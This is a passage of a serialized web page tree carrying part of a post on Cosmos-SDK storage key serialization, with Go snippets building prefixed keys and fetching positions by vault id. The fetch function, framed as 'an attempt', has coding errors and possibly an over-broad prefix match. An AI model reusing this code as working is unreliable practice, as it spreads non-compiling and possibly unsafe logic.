,"props":88877,"children":88878},{"style":1549},[88879],{"type":27,"value":87881},{"type":22,"tag":264,"props":88881,"children":88882},{"style":4309},[88883],{"type":27,"value":77742},{"type":22,"tag":264,"props":88885,"children":88886},{"style":4401},[88887],{"type":27,"value":86889},{"type":22,"tag":264,"props":88889,"children":88890},{"style":1539},[88891],{"type":27,"value":4767},{"type":22,"tag":264,"props":88893,"children":88894},{"class":1534,"line":4998},[88895,88899,88903],{"type":22,"tag":264,"props":88896,"children":88897},{"style":1539},[88898],{"type":27,"value":87780},{"type":22,"tag":264,"props":88900,"children":88901},{"style":4722},[88902],{"type":27,"value":86090},{"type":22,"tag":264,"props":88904,"children":88905},{"style":1539},[88906],{"type":27,"value":4812},{"type":22,"tag":264,"props":88908,"children":88909},{"class":1534,"line":5067},[88910,88914,88918,88922,88926,88930,88934,88938],{"type":22,"tag":264,"props":88911,"children":88912},{"style":1549},[88913],{"type":27,"value":87796},{"type":22,"tag":264,"props":88915,"children":88916},{"style":1539},[88917],{"type":27,"value":210},{"type":22,"tag":264,"props":88919,"children":88920},{"style":4401},[88921],{"type":27,"value":86926},{"type":22,"tag":264,"props":88923,"children":88924},{"style":1539},[88925],{"type":27,"value":2660},{"type":22,"tag":264,"props":88927,"children":88928},{"style":4401},[88929],{"type":27,"value":10436},{"type":22,"tag":264,"props":88931,"children":88932},{"style":1539},[88933],{"type":27,"value":2660},{"type":22,"tag":264,"props":88935,"children":88936},{"style":1549},[88937],{"type":27,"value":87065},{"type":22,"tag":264,"props":88939,"children":88940},{"style":1539},[88941],{"type":27,"value":86947},{"type":22,"tag":264,"props":88943,"children":88944},{"class":1534,"line":5075},[88945],{"type":22,"tag":264,"props":88946,"children":88947},{"style":1539},[88948],{"type":27,"value":25231},{"type":22,"tag":264,"props":88950,"children":88951},{"class":1534,"line":5105},[88952,88956,88960,88964,88968,88972,88976,88980],{"type":22,"tag":264,"props":88953,"children":88954},{"style":1549},[88955],{"type":27,"value":86917},{"type":22,"tag":264,"props":88957,"children":88958},{"style":1539},[88959],{"type":27,"value":210},{"type":22,"tag":264,"props":88961,"children":88962},{"style":4401},[88963],{"type":27,"value":86971},{"type":22,"tag":264,"props":88965,"children":88966},{"style":1539},[88967],{"type":27,"value":2660},{"type":22,"tag":264,"props":88969,"children":88970},{"style":1549},[88971],{"type":27,"value":87006},{"type":22,"tag":264,"props":88973,"children":88974},{"style":1539},[88975],{"type":27,"value":4380},{"type":22,"tag":264,"props":88977,"children":88978},{"style":1549},[88979],{"type":27,"value":87065},{"type":22,"tag":264,"props":88981,"children":88982},{"style":1539},[88983],{"type":27,"value":4463},{"type":22,"tag":264,"props":88985,"children":88986},{"class":1534,"line":5113},[88987],{"type":22,"tag":264,"props":88988,"children":88989},{"emptyLinePlaceholder":17},[88990],{"type":27,"value":4986},{"type":22,"tag":264,"props":88992,"children":88993},{"class":1534,"line":5145},[88994,88998,89002,89006,89010,89014],{"type":22,"tag":264,"props":88995,"children":88996},{"style":1549},[88997],{"type":27,"value":88000},{"type":22,"tag":264,"props":88999,"children":89000},{"style":4309},[89001],{"type":27,"value":77742},{"type":22,"tag":264,"props":89003,"children":89004},{"style":1549},[89005],{"type":27,"value":83560},{"type":22,"tag":264,"props":89007,"children":89008},{"style":1539},[89009],{"type":27,"value":210},{"type":22,"tag":264,"props":89011,"children":89012},{"style":4401},[89013],{"type":27,"value":86548},{"type":22,"tag":264,"props":89015,"children":89016},{"style":1539},[89017],{"type":27,"value":4767},{"type":22,"tag":264,"props":89019,"children":89020},{"class":1534,"line":5153},[89021,89026],{"type":22,"tag":264,"props":89022,"children":89023},{"style":1597},[89024],{"type":27,"value":89025},"        \"%s%d%s%s%s%s\"",{"type":22,"tag":264,"props":89027,"children":89028},{"style":1539},[89029],{"type":27,"value":4812},{"type":22,"tag":264,"props":89031,"children":89032},{"class":1534,"line":5213},[89033,89038],{"type":22,"tag":264,"props":89034,"children":89035},{"style":1549},[89036],{"type":27,"value":89037},"        PositionMapPrefix",{"type":22,"tag":264,"props":89039,"children":89040},{"style":1539},[89041],{"type":27,"value":4812},{"type":22,"tag":264,"props":89043,"children":89044},{"class":1534,"line":10343},[89045,89049],{"type":22,"tag":264,"props":89046,"children":89047},{"style":1549},[89048],{"type":27,"value":88040},{"type":22,"tag":264,"props":89050,"children":89051},{"style":1539},[89052],{"type":27,"value":4812},{"type":22,"tag":264,"props":89054,"children":89055},{"class":1534,"line":10361},[89056,89060],{"type":22,"tag":264,"props":89057,"children":89058},{"style":1549},[89059],{"type":27,"value":88052},{"type":22,"tag":264,"props":89061,"children":89062},{"style":1539},[89063],{"type":27,"value":4812},{"type":22,"tag":264,"props":89065,"children":89066},{"class":1534,"line":10406},[89067,89071],{"type":22,"tag":264,"props":89068,"children":89069},{"style":1549},[89070],{"type":27,"value":88064},{"type":22,"tag":264,"props":89072,"children":89073},{"style":1539},[89074],{"type":27,"value":4812},{"type":22,"tag":264,"props":89076,"children":89077},{"class":1534,"line":10512},[89078,89082],{"type":22,"tag":264,"props":89079,"children":89080},{"style":1549},[89081],{"type":27,"value":88052},{"type":22,"tag":264,"props":89083,"children":89084},{"style":1539},[89085],{"type":27,"value":4812},{"type":22,"tag":264,"props":89087,"children":89088},{"class":1534,"line":24810},[89089,89093],{"type":22,"tag":264,"props":89090,"children":89091},{"style":1549},[89092],{"type":27,"value":88087},{"type":22,"tag":264,"props":89094,"children":89095},{"style":1539},[89096],{"type":27,"value":4812},{"type":22,"tag":264,"props":89098,"children":89099},{"class":1534,"line":24845},[89100],{"type":22,"tag":264,"props":89101,"children":89102},{"style":1539},[89103],{"type":27,"value":25231},{"type":22,"tag":264,"props":89105,"children":89106},{"class":1534,"line":24853},[89107],{"type":22,"tag":264,"props":89108,"children":89109},{"style":1539},[89110],{"type":27,"value":1692},{"type":22,"tag":264,"props":89112,"children":89113},{"class":1534,"line":24861},[89114],{"type":22,"tag":264,"props":89115,"children":89116},{"emptyLinePlaceholder":17},[89117],{"type":27,"value":4986},{"type":22,"tag":264,"props":89119,"children":89120},{"class":1534,"line":24870},[89121],{"type":22,"tag":264,"props":89122,"children":89123},{"emptyLinePlaceholder":17},[89124],{"type":27,"value":4986},{"type":22,"tag":264,"props":89126,"children":89127},{"class":1534,"line":24912},[89128,89132,89136],{"type":22,"tag":264,"props":89129,"children":89130},{"style":4293},[89131],{"type":27,"value":77626},{"type":22,"tag":264,"props":89133,"children":89134},{"style":4401},[89135],{"type":27,"value":88131},{"type":22,"tag":264,"props":89137,"children":89138},{"style":1539},[89139],{"type":27,"value":4767},{"type":22,"tag":264,"props":89141,"children":89142},{"class":1534,"line":24945},[89143,89147,89151],{"type":22,"tag":264,"props":89144,"children":89145},{"style":1549},[89146],{"type":27,"value":86572},{"type":22,"tag":264,"props":89148,"children":89149},{"style":4722},[89150],{"type":27,"value":77747},{"type":22,"tag":264,"props":89152,"children":89153},{"style":1539},[89154],{"type":27,"value":4812},{"type":22,"tag":264,"props":89156,"children":89157},{"class":1534,"line":24953},[89158,89162,89166,89170,89174,89178],{"type":22,"tag":264,"props":89159,"children":89160},{"style":1549},[89161],{"type":27,"value":86584},{"type":22,"tag":264,"props":89163,"children":89164},{"style":1539},[89165],{"type":27,"value":4380},{"type":22,"tag":264,"props":89167,"children":89168},{"style":1549},[89169],{"type":27,"value":88166},{"type":22,"tag":264,"props":89171,"children":89172},{"style":1539},[89173],{"type":27,"value":77553},{"type":22,"tag":264,"props":89175,"children":89176},{"style":4722},[89177],{"type":27,"value":86090},{"type":22,"tag":264,"props":89179,"children":89180},{"style":1539},[89181],{"type":27,"value":4812},{"type":22,"tag":264,"props":89183,"children":89184},{"class":1534,"line":24961},[89185,89189,89193,89197,89201],{"type":22,"tag":264,"props":89186,"children":89187},{"style":1539},[89188],{"type":27,"value":77708},{"type":22,"tag":264,"props":89190,"children":89191},{"style":1549},[89192],{"type":27,"value":73480},{"type":22,"tag":264,"props":89194,"children":89195},{"style":1539},[89196],{"type":27,"value":77553},{"type":22,"tag":264,"props":89198,"children":89199},{"style":4722},[89200],{"type":27,"value":86090},{"type":22,"tag":264,"props":89202,"children":89203},{"style":1539},[89204],{"type":27,"value":16103},{"type":22,"tag":264,"props":89206,"children":89207},{"class":1534,"line":24970},[89208,89212,89216,89220],{"type":22,"tag":264,"props":89209,"children":89210},{"style":1549},[89211],{"type":27,"value":87186},{"type":22,"tag":264,"props":89213,"children":89214},{"style":4309},[89215],{"type":27,"value":77742},{"type":22,"tag":264,"props":89217,"children":89218},{"style":4401},[89219],{"type":27,"value":86889},{"type":22,"tag":264,"props":89221,"children":89222},{"style":1539},[89223],{"type":27,"value":4767},{"type":22,"tag":264,"props":89225,"children":89226},{"class":1534,"line":25046},[89227,89231,89235],{"type":22,"tag":264,"props":89228,"children":89229},{"style":1539},[89230],{"type":27,"value":87780},{"type":22,"tag":264,"props":89232,"children":89233},{"style":4722},[89234],{"type":27,"value":86090},{"type":22,"tag":264,"props":89236,"children":89237},{"style":1539},[89238],{"type":27,"value":4812},{"type":22,"tag":264,"props":89240,"children":89241},{"class":1534,"line":25079},[89242,89246,89250,89254,89258,89262,89266,89270],{"type":22,"tag":264,"props":89243,"children":89244},{"style":1549},[89245],{"type":27,"value":87796},{"type":22,"tag":264,"props":89247,"children":89248},{"style":1539},[89249],{"type":27,"value":210},{"type":22,"tag":264,"props":89251,"children":89252},{"style":4401},[89253],{"type":27,"value":86926},{"type":22,"tag":264,"props":89255,"children":89256},{"style":1539},[89257],{"type":27,"value":2660},{"type":22,"tag":264,"props":89259,"children":89260},{"style":4401},[89261],{"type":27,"value":10436},{"type":22,"tag":264,"props":89263,"children":89264},{"style":1539},[89265],{"type":27,"value":2660},{"type":22,"tag":264,"props":89267,"children":89268},{"style":1549},[89269],{"type":27,"value":86796},{"type":22,"tag":264,"props":89271,"children":89272},{"style":1539},[89273],{"type":27,"value":86947},{"type":22,"tag":264,"props":89275,"children":89276},{"class":1534,"line":25087},[89277],{"type":22,"tag":264,"props":89278,"children":89279},{"style":1539},[89280],{"type":27,"value":25231},{"type":22,"tag":264,"props":89282,"children":89283},{"class":1534,"line":25095},[89284,89288,89292,89296,89300,89304,89308,89312],{"type":22,"tag":264,"props":89285,"children":89286},{"style":1549},[89287],{"type":27,"value":86917},{"type":22,"tag":264,"props":89289,"children":89290},{"style":1539},[89291],{"type":27,"value":210},{"type":22,"tag":264,"props":89293,"children":89294},{"style":4401},[89295],{"type":27,"value":86971},{"type":22,"tag":264,"props":89297,"children":89298},{"style":1539},[89299],{"type":27,"value":2660},{"type":22,"tag":264,"props":89301,"children":89302},{"style":1549},[89303],{"type":27,"value":86880},{"type":22,"tag":264,"props":89305,"children":89306},{"style":1539},[89307],{"type":27,"value":4380},{"type":22,"tag":264,"props":89309,"children":89310},{"style":1549},[89311],{"type":27,"value":86796},{"type":22,"tag":264,"props":89313,"children":89314},{"style":1539},[89315],{"type":27,"value":4463},{"type":22,"tag":264,"props":89317,"children":89318},{"class":1534,"line":25132},[89319],{"type":22,"tag":264,"props":89320,"children":89321},{"emptyLinePlaceholder":17},[89322],{"type":27,"value":4986},{"type":22,"tag":264,"props":89324,"children":89325},{"class":1534,"line":25145},[89326,89330,89334,89338],{"type":22,"tag":264,"props":89327,"children":89328},{"style":1549},[89329],{"type":27,"value":88323},{"type":22,"tag":264,"props":89331,"children":89332},{"style":4309},[89333],{"type":27,"value":77742},{"type":22,"tag":264,"props":89335,"children":89336},{"style":4401},[89337],{"type":27,"value":86889},{"type":22,"tag":264,"props":89339,"children":89340},{"style":1539},[89341],{"type":27,"value":4767},{"type":22,"tag":264,"props":89343,"children":89344},{"class":1534,"line":25158},[89345,89349,89353],{"type":22,"tag":264,"props":89346,"children":89347},{"style":1539},[89348],{"type":27,"value":87780},{"type":22,"tag":264,"props":89350,"children":89351},{"style":4722},[89352],{"type":27,"value":86090},{"type":22,"tag":264,"props":89354,"children":89355},{"style":1539},[89356],{"type":27,"value":4812},{"type":22,"tag":264,"props":89358,"children":89359},{"class":1534,"line":25171},[89360,89364,89368,89372,89376,89380,89384,89388],{"type":22,"tag":264,"props":89361,"children":89362},{"style":1549},[89363],{"type":27,"value":87796},{"type":22,"tag":264,"props":89365,"children":89366},{"style":1539},[89367],{"type":27,"value":210},{"type":22,"tag":264,"props":89369,"children":89370},{"style":4401},[89371],{"type":27,"value":86926},{"type":22,"tag":264,"props":89373,"children":89374},{"style":1539},[89375],{"type":27,"value":2660},{"type":22,"tag":264,"props":89377,"children":89378},{"style":4401},[89379],{"type":27,"value":10436},{"type":22,"tag":264,"props":89381,"children":89382},{"style":1539},[89383],{"type":27,"value":2660},{"type":22,"tag":264,"props":89385,"children":89386},{"style":1549},[89387],{"type":27,"value":88166},{"type":22,"tag":264,"props":89389,"children":89390},{"style":1539},[89391],{"type":27,"value":86947},{"type":22,"tag":264,"props":89393,"children":89394},{"class":1534,"line":25225},[89395],{"type":22,"tag":264,"props":89396,"children":89397},{"style":1539},[89398],{"type":27,"value":25231},{"type":22,"tag":264,"props":89400,"children":89401},{"class":1534,"line":25234},[89402,89406,89410,89414,89418,89422,89426,89430],{"type":22,"tag":264,"props":89403,"children":89404},{"style":1549},[89405],{"type":27,"value":86917},{"type":22,"tag":264,"props":89407,"children":89408},{"style":1539},[89409],{"type":27,"value":210},{"type":22,"tag":264,"props":89411,"children":89412},{"style":4401},[89413],{"type":27,"value":86971},{"type":22,"tag":264,"props":89415,"children":89416},{"style":1539},[89417],{"type":27,"value":2660},{"type":22,"tag":264,"props":89419,"children":89420},{"style":1549},[89421],{"type":27,"value":88416},{"type":22,"tag":264,"props":89423,"children":89424},{"style":1539},[89425],{"type":27,"value":4380},{"type":22,"tag":264,"props":89427,"children":89428},{"style":1549},[89429],{"type":27,"value":88166},{"type":22,"tag":264,"props":89431,"children":89432},{"style":1539},[89433],{"type":27,"value":4463},{"type":22,"tag":264,"props":89435,"children":89436},{"class":1534,"line":33596},[89437],{"type":22,"tag":264,"props":89438,"children":89439},{"emptyLinePlaceholder":17},[89440],{"type":27,"value":4986},{"type":22,"tag":264,"props":89442,"children":89443},{"class":1534,"line":33617},[89444,89448,89452,89456,89460,89464],{"type":22,"tag":264,"props":89445,"children":89446},{"style":1549},[89447],{"type":27,"value":88000},{"type":22,"tag":264,"props":89449,"children":89450},{"style":4309},[89451],{"type":27,"value":77742},{"type":22,"tag":264,"props":89453,"children":89454},{"style":1549},[89455],{"type":27,"value":83560},{"type":22,"tag":264,"props":89457,"children":89458},{"style":1539},[89459],{"type":27,"value":210},{"type":22,"tag":264,"props":89461,"children":89462},{"style":4401},[89463],{"type":27,"value":86548},{"type":22,"tag":264,"props":89465,"children":89466},{"style":1539},[89467],{"type":27,"value":4767},{"type":22,"tag":264,"props":89469,"children":89470},{"class":1534,"line":82277},[89471,89475],{"type":22,"tag":264,"props":89472,"children":89473},{"style":1597},[89474],{"type":27,"value":89025},{"type":22,"tag":264,"props":89476,"children":89477},{"style":1539},[89478],{"type":27,"value":4812},{"type":22,"tag":264,"props":89480,"children":89481},{"class":1534,"line":82290},[89482,89487],{"type":22,"tag":264,"props":89483,"children":89484},{"style":1549},[89485],{"type":27,"value":89486},"        AddressMapPrefix",{"type":22,"tag":264,"props":89488,"children":89489},{"style":1539},[89490],{"type":27,"value":4812},{"type":22,"tag":264,"props":89492,"children":89493},{"class":1534,"line":82298},[89494,89498],{"type":22,"tag":264,"props":89495,"children":89496},{"style":1549},[89497],{"type":27,"value":88040},{"type":22,"tag":264,"props":89499,"children":89500},{"style":1539},[89501],{"type":27,"value":4812},{"type":22,"tag":264,"props":89503,"children":89504},{"class":1534,"line":82306},[89505,89509],{"type":22,"tag":264,"props":89506,"children":89507},{"style":1549},[89508],{"type":27,"value":88052},{"type":22,"tag":264,"props":89510,"children":89511},{"style":1539},[89512],{"type":27,"value":4812},{"type":22,"tag":264,"props":89514,"children":89515},{"class":1534,"line":82314},[89516,89520],{"type":22,"tag":264,"props":89517,"children":89518},{"style":1549},[89519],{"type":27,"value":88064},{"type":22,"tag":264,"props":89521,"children":89522},{"style":1539},[89523],{"type":27,"value":4812},{"type":22,"tag":264,"props":89525,"children":89526},{"class":1534,"line":82354},[89527,89531],{"type":22,"tag":264,"props":89528,"children":89529},{"style":1549},[89530],{"type":27,"value":88052},{"type":22,"tag":264,"props":89532,"children":89533},{"style":1539},[89534],{"type":27,"value":4812},{"type":22,"tag":264,"props":89536,"children":89537},{"class":1534,"line":82362},[89538,89542],{"type":22,"tag":264,"props":89539,"children":89540},{"style":1549},[89541],{"type":27,"value":88525},{"type":22,"tag":264,"props":89543,"children":89544},{"style":1539},[89545],{"type":27,"value":4812},{"type":22,"tag":264,"props":89547,"children":89549},{"class":1534,"line":89548},60,[89550],{"type":22,"tag":264,"props":89551,"children":89552},{"style":1539},[89553],{"type":27,"value":25231},{"type":22,"tag":264,"props":89555,"children":89557},{"class":1534,"line":89556},61,[89558],{"type":22,"tag":264,"props":89559,"children":89560},{"style":1539},[89561],{"type":27,"value":1692},{"type":22,"tag":23,"props":89563,"children":89564},{},[89565],{"type":27,"value":89566},"We now have a proper example of how to serialize storage keys.",{"type":22,"tag":23,"props":89568,"children":89569},{},[89570,89572,89577],{"type":27,"value":89571},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":22,"tag":257,"props":89573,"children":89575},{"className":89574},[],[89576],{"type":27,"value":68425},{"type":27,"value":89578},", data should still be retrievable through original keys.",{"type":22,"tag":23,"props":89580,"children":89581},{},[89582,89584,89590,89592,89597],{"type":27,"value":89583},"Let's look at a case where we want to retrieve all ",{"type":22,"tag":257,"props":89585,"children":89587},{"className":89586},[],[89588],{"type":27,"value":89589},"map[Username]map[PositionName]Position",{"type":27,"value":89591}," associated with a ",{"type":22,"tag":257,"props":89593,"children":89595},{"className":89594},[],[89596],{"type":27,"value":86460},{"type":27,"value":89598}," from the storage. How can we safely accomplish this?",{"type":22,"tag":23,"props":89600,"children":89601},{},[89602,89604,89609,89611,89617],{"type":27,"value":89603},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":22,"tag":257,"props":89605,"children":89607},{"className":89606},[],[89608],{"type":27,"value":86531},{"type":27,"value":89610}," prefix. Below is an example of an attempt to fetch data with ",{"type":22,"tag":257,"props":89612,"children":89614},{"className":89613},[],[89615],{"type":27,"value":89616},"vaultId",{"type":27,"value":5785},{"type":22,"tag":618,"props":89619,"children":89621},{"code":89620,"language":77490,"meta":7,"className":77491,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[89622],{"type":22,"tag":257,"props":89623,"children":89624},{"__ignoreMap":7},[89625,89641,89656,89705,89757,89786,89798,89844,89851,89897,89952,89959,90023,90084,90107,90126,90133,90140,90200,90259,90282,90301,90308,90315,90368,90416,90423,90430,90470,90498,90505,90512,90524],{"type":22,"tag":264,"props":89626,"children":89627},{"class":1534,"line":1535},[89628,89632,89637],{"type":22,"tag":264,"props":89629,"children":89630},{"style":4293},[89631],{"type":27,"value":77626},{"type":22,"tag":264,"props":89633,"children":89634},{"style":4401},[89635],{"type":27,"value":89636}," FetchPositionMapWithVaultId",{"type":22,"tag":264,"props":89638,"children":89639},{"style":1539},[89640],{"type":27,"value":4767},{"type":22,"tag":264,"props":89642,"children":89643},{"class":1534,"line":1545},[89644,89648,89652],{"type":22,"tag":264,"props":89645,"children":89646},{"style":1549},[89647],{"type":27,"value":86572},{"type":22,"tag":264,"props":89649,"children":89650},{"style":4722},[89651],{"type":27,"value":77747},{"type":22,"tag":264,"props":89653,"children":89654},{"style":1539},[89655],{"type":27,"value":4812},{"type":22,"tag":264,"props":89657,"children":89658},{"class":1534,"line":1560},[89659,89664,89668,89672,89676,89680,89684,89688,89692,89696,89701],{"type":22,"tag":264,"props":89660,"children":89661},{"style":1539},[89662],{"type":27,"value":89663},") ([]",{"type":22,"tag":264,"props":89665,"children":89666},{"style":4293},[89667],{"type":27,"value":68425},{"type":22,"tag":264,"props":89669,"children":89670},{"style":1539},[89671],{"type":27,"value":5045},{"type":22,"tag":264,"props":89673,"children":89674},{"style":4722},[89675],{"type":27,"value":86477},{"type":22,"tag":264,"props":89677,"children":89678},{"style":1539},[89679],{"type":27,"value":16710},{"type":22,"tag":264,"props":89681,"children":89682},{"style":4293},[89683],{"type":27,"value":68425},{"type":22,"tag":264,"props":89685,"children":89686},{"style":1539},[89687],{"type":27,"value":5045},{"type":22,"tag":264,"props":89689,"children":89690},{"style":4722},[89691],{"type":27,"value":86494},{"type":22,"tag":264,"props":89693,"children":89694},{"style":1539},[89695],{"type":27,"value":16710},{"type":22,"tag":264,"props":89697,"children":89698},{"style":4722},[89699],{"type":27,"value":89700},"Position",{"type":22,"tag":264,"props":89702,"children":89703},{"style":1539},[89704],{"type":27,"value":16103},{"type":22,"tag":264,"props":89706,"children":89707},{"class":1534,"line":1569},[89708,89713,89717,89721,89725,89729,89733,89737,89741,89745,89749,89753],{"type":22,"tag":264,"props":89709,"children":89710},{"style":1549},[89711],{"type":27,"value":89712},"    values",{"type":22,"tag":264,"props":89714,"children":89715},{"style":4309},[89716],{"type":27,"value":77742},{"type":22,"tag":264,"props":89718,"children":89719},{"style":4293},[89720],{"type":27,"value":50989},{"type":22,"tag":264,"props":89722,"children":89723},{"style":1539},[89724],{"type":27,"value":5045},{"type":22,"tag":264,"props":89726,"children":89727},{"style":4722},[89728],{"type":27,"value":86477},{"type":22,"tag":264,"props":89730,"children":89731},{"style":1539},[89732],{"type":27,"value":16710},{"type":22,"tag":264,"props":89734,"children":89735},{"style":4293},[89736],{"type":27,"value":68425},{"type":22,"tag":264,"props":89738,"children":89739},{"style":1539},[89740],{"type":27,"value":5045},{"type":22,"tag":264,"props":89742,"children":89743},{"style":4722},[89744],{"type":27,"value":86494},{"type":22,"tag":264,"props":89746,"children":89747},{"style":1539},[89748],{"type":27,"value":16710},{"type":22,"tag":264,"props":89750,"children":89751},{"style":4722},[89752],{"type":27,"value":89700},{"type":22,"tag":264,"props":89754,"children":89755},{"style":1539},[89756],{"type":27,"value":79423},{"type":22,"tag":264,"props":89758,"children":89759},{"class":1534,"line":1583},[89760,89765,89769,89773,89777,89782],{"type":22,"tag":264,"props":89761,"children":89762},{"style":1549},[89763],{"type":27,"value":89764},"    i",{"type":22,"tag":264,"props":89766,"children":89767},{"style":4309},[89768],{"type":27,"value":77742},{"type":22,"tag":264,"props":89770,"children":89771},{"style":1549},[89772],{"type":27,"value":79967},{"type":22,"tag":264,"props":89774,"children":89775},{"style":1539},[89776],{"type":27,"value":210},{"type":22,"tag":264,"props":89778,"children":89779},{"style":4401},[89780],{"type":27,"value":89781},"KVStorePrefixIterator",{"type":22,"tag":264,"props":89783,"children":89784},{"style":1539},[89785],{"type":27,"value":4767},{"type":22,"tag":264,"props":89787,"children":89788},{"class":1534,"line":1603},[89789,89794],{"type":22,"tag":264,"props":89790,"children":89791},{"style":1549},[89792],{"type":27,"value":89793},"        kvStore",{"type":22,"tag":264,"props":89795,"children":89796},{"style":1539},[89797],{"type":27,"value":4812},{"type":22,"tag":264,"props":89799,"children":89800},{"class":1534,"line":1612},[89801,89806,89810,89814,89818,89823,89827,89832,89836,89840],{"type":22,"tag":264,"props":89802,"children":89803},{"style":1549},[89804],{"type":27,"value":89805},"        fmt",{"type":22,"tag":264,"props":89807,"children":89808},{"style":1539},[89809],{"type":27,"value":210},{"type":22,"tag":264,"props":89811,"children":89812},{"style":4401},[89813],{"type":27,"value":86548},{"type":22,"tag":264,"props":89815,"children":89816},{"style":1539},[89817],{"type":27,"value":2660},{"type":22,"tag":264,"props":89819,"children":89820},{"style":1597},[89821],{"type":27,"value":89822},"\"%s%d\"",{"type":22,"tag":264,"props":89824,"children":89825},{"style":1539},[89826],{"type":27,"value":4380},{"type":22,"tag":264,"props":89828,"children":89829},{"style":1549},[89830],{"type":27,"value":89831},"PositionMapPrefix",{"type":22,"tag":264,"props":89833,"children":89834},{"style":1539},[89835],{"type":27,"value":4380},{"type":22,"tag":264,"props":89837,"children":89838},{"style":1549},[89839],{"type":27,"value":89616},{"type":22,"tag":264,"props":89841,"children":89842},{"style":1539},[89843],{"type":27,"value":4463},{"type":22,"tag":264,"props":89845,"children":89846},{"class":1534,"line":1621},[89847],{"type":22,"tag":264,"props":89848,"children":89849},{"style":1539},[89850],{"type":27,"value":25231},{"type":22,"tag":264,"props":89852,"children":89853},{"class":1534,"line":1629},[89854,89858,89863,89867,89871,89876,89880,89884,89888,89893],{"type":22,"tag":264,"props":89855,"children":89856},{"style":4328},[89857],{"type":27,"value":4331},{"type":22,"tag":264,"props":89859,"children":89860},{"style":1539},[89861],{"type":27,"value":89862}," ; ",{"type":22,"tag":264,"props":89864,"children":89865},{"style":1549},[89866],{"type":27,"value":5050},{"type":22,"tag":264,"props":89868,"children":89869},{"style":1539},[89870],{"type":27,"value":210},{"type":22,"tag":264,"props":89872,"children":89873},{"style":4401},[89874],{"type":27,"value":89875},"Valid",{"type":22,"tag":264,"props":89877,"children":89878},{"style":1539},[89879],{"type":27,"value":29761},{"type":22,"tag":264,"props":89881,"children":89882},{"style":1549},[89883],{"type":27,"value":5050},{"type":22,"tag":264,"props":89885,"children":89886},{"style":1539},[89887],{"type":27,"value":210},{"type":22,"tag":264,"props":89889,"children":89890},{"style":4401},[89891],{"type":27,"value":89892},"Next",{"type":22,"tag":264,"props":89894,"children":89895},{"style":1539},[89896],{"type":27,"value":17036},{"type":22,"tag":264,"props":89898,"children":89899},{"class":1534,"line":1642},[89900,89905,89909,89914,89918,89922,89926,89930,89934,89939,89943,89948],{"type":22,"tag":264,"props":89901,"children":89902},{"style":1549},[89903],{"type":27,"value":89904},"        k",{"type":22,"tag":264,"props":89906,"children":89907},{"style":4309},[89908],{"type":27,"value":77742},{"type":22,"tag":264,"props":89910,"children":89911},{"style":1549},[89912],{"type":27,"value":89913}," strings",{"type":22,"tag":264,"props":89915,"children":89916},{"style":1539},[89917],{"type":27,"value":210},{"type":22,"tag":264,"props":89919,"children":89920},{"style":4401},[89921],{"type":27,"value":71366},{"type":22,"tag":264,"props":89923,"children":89924},{"style":1539},[89925],{"type":27,"value":2660},{"type":22,"tag":264,"props":89927,"children":89928},{"style":1549},[89929],{"type":27,"value":5050},{"type":22,"tag":264,"props":89931,"children":89932},{"style":1539},[89933],{"type":27,"value":210},{"type":22,"tag":264,"props":89935,"children":89936},{"style":4401},[89937],{"type":27,"value":89938},"Key",{"type":22,"tag":264,"props":89940,"children":89941},{"style":1539},[89942],{"type":27,"value":19678},{"type":22,"tag":264,"props":89944,"children":89945},{"style":1549},[89946],{"type":27,"value":89947},"Seperator",{"type":22,"tag":264,"props":89949,"children":89950},{"style":1539},[89951],{"type":27,"value":4463},{"type":22,"tag":264,"props":89953,"children":89954},{"class":1534,"line":1660},[89955],{"type":22,"tag":264,"props":89956,"children":89957},{"emptyLinePlaceholder":17},[89958],{"type":27,"value":4986},{"type":22,"tag":264,"props":89960,"children":89961},{"class":1534,"line":1668},[89962,89967,89971,89975,89980,89984,89988,89992,89996,90001,90005,90010,90014,90018],{"type":22,"tag":264,"props":89963,"children":89964},{"style":1549},[89965],{"type":27,"value":89966},"        username",{"type":22,"tag":264,"props":89968,"children":89969},{"style":4309},[89970],{"type":27,"value":77742},{"type":22,"tag":264,"props":89972,"children":89973},{"style":4401},[89974],{"type":27,"value":86889},{"type":22,"tag":264,"props":89976,"children":89977},{"style":1539},[89978],{"type":27,"value":89979},"([]",{"type":22,"tag":264,"props":89981,"children":89982},{"style":4722},[89983],{"type":27,"value":86090},{"type":22,"tag":264,"props":89985,"children":89986},{"style":1539},[89987],{"type":27,"value":4380},{"type":22,"tag":264,"props":89989,"children":89990},{"style":1549},[89991],{"type":27,"value":86962},{"type":22,"tag":264,"props":89993,"children":89994},{"style":1539},[89995],{"type":27,"value":210},{"type":22,"tag":264,"props":89997,"children":89998},{"style":4401},[89999],{"type":27,"value":90000},"DecodedLen",{"type":22,"tag":264,"props":90002,"children":90003},{"style":1539},[90004],{"type":27,"value":2660},{"type":22,"tag":264,"props":90006,"children":90007},{"style":1549},[90008],{"type":27,"value":90009},"k",{"type":22,"tag":264,"props":90011,"children":90012},{"style":1539},[90013],{"type":27,"value":5045},{"type":22,"tag":264,"props":90015,"children":90016},{"style":4344},[90017],{"type":27,"value":5334},{"type":22,"tag":264,"props":90019,"children":90020},{"style":1539},[90021],{"type":27,"value":90022},"]))\n",{"type":22,"tag":264,"props":90024,"children":90025},{"class":1534,"line":1677},[90026,90030,90034,90038,90042,90047,90051,90056,90060,90064,90068,90072,90076,90080],{"type":22,"tag":264,"props":90027,"children":90028},{"style":1549},[90029],{"type":27,"value":29060},{"type":22,"tag":264,"props":90031,"children":90032},{"style":1539},[90033],{"type":27,"value":4380},{"type":22,"tag":264,"props":90035,"children":90036},{"style":1549},[90037],{"type":27,"value":49740},{"type":22,"tag":264,"props":90039,"children":90040},